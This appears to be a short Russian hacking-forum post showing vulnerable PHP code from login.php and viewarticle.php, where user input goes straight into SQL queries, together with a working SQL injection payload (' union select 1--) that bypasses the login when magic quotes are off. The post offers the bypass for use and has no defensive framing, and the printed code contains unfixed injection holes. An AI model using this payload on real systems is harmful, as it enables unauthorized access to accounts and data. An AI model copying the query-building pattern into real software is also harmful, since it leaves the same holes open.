SQL ing
login.php

PHP код:

...$userId   = $_POST['txtUserId'];
    $password = $_POST['txtPassword'];

    // check if the user id and password combination exist in database
    $sql = "SELECT user_id
            FROM tbl_auth_user
            WHERE user_id = '$userId' AND user_password = PASSWORD('$password')";

    $result = mysql_query($sql) or die('Query failed. ' . mysql_error());

    if (mysql_num_rows($result) == 1) {
        // the user id and password match,
        // set the session
        $_SESSION['db_is_logged_in'] = true;

        // after login we move to the main page
        header('Location: main.php');
        exit;
    } else {
        $errorMessage = 'Sorry, wrong user id / password';
    }... 


Result :
в поле txtUserId - ' union select 1--[ ]

Условие:
mg=off

Далее привожу только код других файлов:
viewarticle.php , viewarticle2.php

PHP код:

...else {
   // get the article info from database
   $query = "SELECT title, content FROM news WHERE id=".$_GET['id'];
   $result = mysql_query($query) or die('Error : ' . mysql_error()); 
   $row = mysql_fetch_array($result, MYSQL_ASSOC); ...